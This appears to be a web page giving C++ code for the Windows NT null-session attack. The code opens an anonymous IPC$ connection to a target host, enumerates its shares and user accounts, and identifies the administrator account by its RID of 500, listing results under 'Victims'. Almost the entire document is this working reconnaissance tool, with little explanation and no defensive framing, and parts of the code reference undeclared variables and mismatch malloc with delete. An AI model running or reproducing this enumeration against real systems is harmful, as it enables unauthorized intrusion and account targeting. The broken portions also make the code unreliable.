NT Null Session Admin Name Vulnerability
trang này đã được đọc lầnFirst - making a NULL Session connection
One way to this is by using the Net Use command with an empty password.
Programmatically, it looks like this....
//This function called from dialog that fills listbox with connections
BOOL EstablishNullSession(CString TargetHost, CNTOHunterDlg* pDlg)
{
//Setup for UNICODE
char* pTemp = TargetHost.GetBuffer(256);
WCHAR wszServ[256];
LPWSTR Server = NULL;
//Convert to Unicode
MultiByteToWideChar(CP_ACP, 0, pTemp,
strlen(pTemp)+1, wszServ,
sizeof(wszServ)/sizeof(wszServ[0]) );
//Create the IPC$ share connection string we need
Server = wszServ;
LPCWSTR szIpc = L"\\IPC$";
WCHAR RemoteResource[UNCLEN + 5 + 1]; // UNC len + \IPC$ + NULL
DWORD dwServNameLen;
DWORD dwRC;
//Setup Win32 structures and variables we need
NET_API_STATUS nas;
USE_INFO_2 ui2;
SHARE_INFO_1* pSHInfo1 = NULL;
DWORD dwEntriesRead;
DWORD dwTotalEntries;
//Set up handles to tree control to insert connection results
HTREEITEM machineRoot, shareRoot, userRoot, adminRoot, attribRoot;
char sharename[256];
char remark[256];
if(Server == NULL || *Server == L'\0')
{
SetLastError(ERROR_INVALID_COMPUTERNAME);
return FALSE;
}
dwServNameLen = lstrlenW( Server );
//Test for various errors in connection string and recover
if(Server[0] != L'\\' && Server[1] != L'\\')
{
// prepend slashes and NULL terminate
RemoteResource[0] = L'\\';
RemoteResource[1] = L'\\';
RemoteResource[2] = L'\0';
}
else
{
dwServNameLen -= 2; // drop slashes from count
RemoteResource[0] = L'\0';
}
if(dwServNameLen > CNLEN)
{
SetLastError(ERROR_INVALID_COMPUTERNAME);
return FALSE;
}
if(lstrcatW(RemoteResource, Server) == NULL) return FALSE;
if(lstrcatW(RemoteResource, szIpc) == NULL) return FALSE;
//Start with clean memory
ZeroMemory(&ui2, sizeof(ui2));
//Fill in the Win32 network structure we need to use connect API
ui2.ui2_local = NULL;
ui2.ui2_remote = (LPTSTR) RemoteResource;
ui2.ui2_asg_type = USE_IPC;
ui2.ui2_password = (LPTSTR) L""; //SET PASSWORD TO NULL
ui2.ui2_username = (LPTSTR) L"";
ui2.ui2_domainname = (LPTSTR) L"";
//MAKE THE NULL SESSION CALL
nas = NetUseAdd(NULL, 2, (LPBYTE)&ui2, NULL);
dwRC = GetLastError();
if( nas == NERR_Success )
{
machineRoot = pDlg->m_Victims.InsertItem(TargetHost, 0, 0,
TVI_ROOT);
}
//THIS IS WHERE NT HANDS OUT IT INFORMATION
nas = NetShareEnum((char*)Server, 1, (LPBYTE*)&pSHInfo1,
MAX_PREFERRED_LENGTH,
&dwEntriesRead,
&dwTotalEntries, NULL);
dwRC = GetLastError();
if( nas == NERR_Success )
{
if(dwTotalEntries > 0)
{
shareRoot = pDlg->m_Victims.InsertItem("Shares",
machineRoot,TVI_LAST);
userRoot = pDlg->m_Victims.InsertItem("Users",
machineRoot,TVI_LAST);
adminRoot = pDlg->m_Victims.InsertItem("Admin",
machineRoot,TVI_LAST);
}
for(int x=0; x<(int)dwTotalEntries; x++)
{
// Convert back to ANSI
WideCharToMultiByte(CP_ACP, 0, (const unsigned
short*)pSHInfo1->shi1_netname, -1,
sharename, 256, NULL, NULL );
WideCharToMultiByte( CP_ACP, 0, (const unsigned
short*)pSHInfo1->shi1_remark, -1,
remark, 256, NULL, NULL );
CString ShareDetails = sharename;
ShareDetails = ShareDetails + " - " + remark;
//fill the tree with connect info
attribRoot = pDlg->m_Victims.InsertItem(ShareDetails,
shareRoot,TVI_LAST);
pSHInfo1++;
}
}
//My Wrapper function for listing users - see below
DoNetUserEnum(Server, pDlg, userRoot, adminRoot);
//WE ARE DONE, SO KILL THE CONNECTION
nas = NetUseDel(NULL, (LPTSTR) RemoteResource, 0);
TargetHost.ReleaseBuffer();
SetLastError( nas );
return FALSE;
}
The following function is how one can programmatically determine the
administrator status of an account......
bool GetAdmin(char* pServer, char* pUser, CString& Name)
{
BOOL fAdmin = FALSE;
DWORD dwDomainName,dwSize,dwAdminVal;
SID_NAME_USE use;
PSID pUserSID = NULL; // SID for user
int rc;
int iSubCount;
bool bFoundHim = 0;
dwDomainName = 256;
dwSize = 0;
dwAdminVal = 0;
iSubCount = 0;
//Call API for buffer size since we don't know size beforehand
rc = LookupAccountName(pServer,
pUser, pUserSID,
&dwSize, szDomainName,
&dwDomainName, &use );
rc = GetLastError();
//Allocate a larger buffer
if(rc == ERROR_INSUFFICIENT_BUFFER)
{
pUserSID = (PSID) malloc(dwSize);
//Repeat call now that we have the right size buffer
rc = LookupAccountName(pServer,
pUser, pUserSID,
&dwSize, szDomainName,
&dwDomainName, &use );
}
//Scan the SIDS for the golden key - ADMIN == 500
//Get a count of SID's
iSubCount = (int)*(GetSidSubAuthorityCount(pUserSID));
//Admin SID is the last element in the count
dwAdminVal = *(GetSidSubAuthority(pUserSID, iSubCount-1));
if(dwAdminVal==500) //TEST TO SEE IF THIS IS THE ADMIN
{
Name.Format("Admin is %s\\%s\n", szDomainName, pUser);
bFoundHim = true;
}
delete pUserSID;
return bFoundHim; //WE KNOW WHO HE IS, ADD HIM TO THE TREE
}
Wrapper for Listing the user accounts.....
void DoNetUserEnum(const wchar_t* pServer, CNTOHunterDlg* pDlg, HTREEITEM
userRoot, HTREEITEM adminRoot)
{
USER_INFO_10 *pUserbuf, *pCurUser;
DWORD dwRead, dwRemaining, dwResume, dwRC;
char userName[256];
char userServer[256];
dwResume = 0;
if(pServer[0] != L'\\' && pServer[1] != L'\\')
{
//Start sting with correct UNC slashes and NULL terminate
RemoteResource[0] = L'\\';
RemoteResource[1] = L'\\';
RemoteResource[2] = L'\0';
}
else
{
dwServNameLen -= 2; // drop slashes from count
RemoteResource[0] = L'\0';
}
if(dwServNameLen > CNLEN)
{
SetLastError(ERROR_INVALID_COMPUTERNAME);
return;
}
if(lstrcatW(RemoteResource, pServer) == NULL) return;
do
{
pUserbuf = NULL;
//THIS IS THE API THE NT USES TO HAND OUT IT's LIST
dwRC = NetUserEnum(RemoteResource, 10, 0, (BYTE**) &pUserbuf, 1024,
&dwRead, &dwRemaining, &dwResume);
if (dwRC != ERROR_MORE_DATA && dwRC != ERROR_SUCCESS)
break;
DWORD i;
for(i = 0, pCurUser = pUserbuf; i < dwRead; ++i, ++pCurUser)
{
// Convert back to ANSI.
WideCharToMultiByte( CP_ACP, 0, pCurUser->usri10_name, -1,
userName, 256, NULL, NULL );
// Convert back to ANSI.
WideCharToMultiByte( CP_ACP, 0, pServer, -1,
userServer, 256, NULL, NULL );
if(!GotAdmin)
{
//use char strings
CString Admin;
GotAdmin = GetAdmin(userServer, userName, Admin);
if(GotAdmin)
{
Admin.TrimRight();
HTREEITEM adminChild = pDlg->m_Victims.InsertItem(Admin,
adminRoot, TVI_LAST);
pDlg->m_Victims.EnsureVisible(adminChild);
}
}
CString strUserName = userName;
pDlg->m_Victims.InsertItem(strUserName, userRoot, TVI_LAST);
}
if (pUserbuf != NULL)
NetApiBufferFree(pUserbuf);
} while (dwRC == ERROR_MORE_DATA);
if (dwRC != ERROR_SUCCESS)
printf("NUE() returned %lu\n", dwRC);
}